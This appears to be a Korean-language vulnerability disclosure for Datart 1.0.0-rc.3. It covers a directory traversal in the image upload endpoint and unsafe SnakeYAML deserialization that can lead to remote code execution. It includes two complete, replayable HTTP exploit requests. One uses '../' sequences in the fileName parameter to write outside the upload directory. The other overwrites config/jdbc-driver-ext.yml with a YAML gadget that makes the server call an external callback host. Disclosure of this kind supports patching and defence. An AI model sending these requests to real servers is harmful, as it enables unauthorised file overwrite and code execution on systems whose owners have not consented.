
Datart 1.0.0-rc.3은 POST /viz/image 인터페이스에서 디렉터리 트래버설(Directory Traversal) 취약점에 영향을 받습니다. 서버가 MultipartFile.transferTo()를 직접 사용하여 업로드된 파일을 사용자가 제어할 수 있는 경로에 저장하고, 파일 이름에 대한 엄격한 검증이 부족하기 때문입니다.
Datart 1.0.0-rc.3은 POST /viz/image 인터페이스에서 디렉터리 트래버설(Directory Traversal) 취약점에 노출되어 있습니다. 서버가 MultipartFile.transferTo()를 직접 사용해 업로드된 파일을 사용자가 제어할 수 있는 경로에 저장하며, 파일명에 대한 엄격한 검증을 수행하지 않기 때문입니다.
POST /api/v1/files/viz/image?ownerType=DASHBOARD&ownerId=66822c13a9bc4381923456c11339497e&fileName=../../../../../../../../tmp/1 HTTP/1.1
Host: test.com
Accept-Language: zh-CN
Accept: application/json, text/plain, */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySInMdoLRiubl32BW
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Content-Length: 4646
------WebKitFormBoundarySInMdoLRiubl32BW
Content-Disposition: form-data; name="file"; filename="1.jpg"
Content-Type: image/jpeg
xxxxx
------WebKitFormBoundarySInMdoLRiubl32BW--
Datart 1.0.0-rc.3은 디렉터리 트래버설(Directory Traversal) 취약점에 노출되어 있습니다. 애플리케이션의 구성 파일 처리 과정에서 공격자가 임의의 YAML 파일을 config/jdbc-driver-ext. yml 경로에 업로드할 수 있습니다. 애플리케이션은 이 파일을 입력 검증 없이 SnakeYAML의 안전하지 않은 load() 또는 loadAs() 메서드를 사용해 파싱합니다. 이로 인해 공격자가 제어하는 YAML 콘텐츠의 역직렬화가 가능해져 임의 클래스 인스턴스화가 발생할 수 있습니다. 특정 조건에서는 이를 악용하여 원격 코드 실행(RCE)을 달성할 수 있습니다.
POST /api/v1/files/viz/image?ownerType=DASHBOARD&ownerId=66822c13a9bc4381923456c11339497e&fileName=../../../../../config/jdbc-driver-ext.yml HTTP/1.1
Host: test.com
Accept-Language: zh-CN
Accept: application/json, text/plain, */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySInMdoLRiubl32BW
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Content-Length: 4646
------WebKitFormBoundarySInMdoLRiubl32BW
Content-Disposition: form-data; name="file"; filename="1.jpg"
Content-Type: image/jpeg
{!!java.net.URL ["http://test.eyes.sh/"]: 1}
------WebKitFormBoundarySInMdoLRiubl32BW--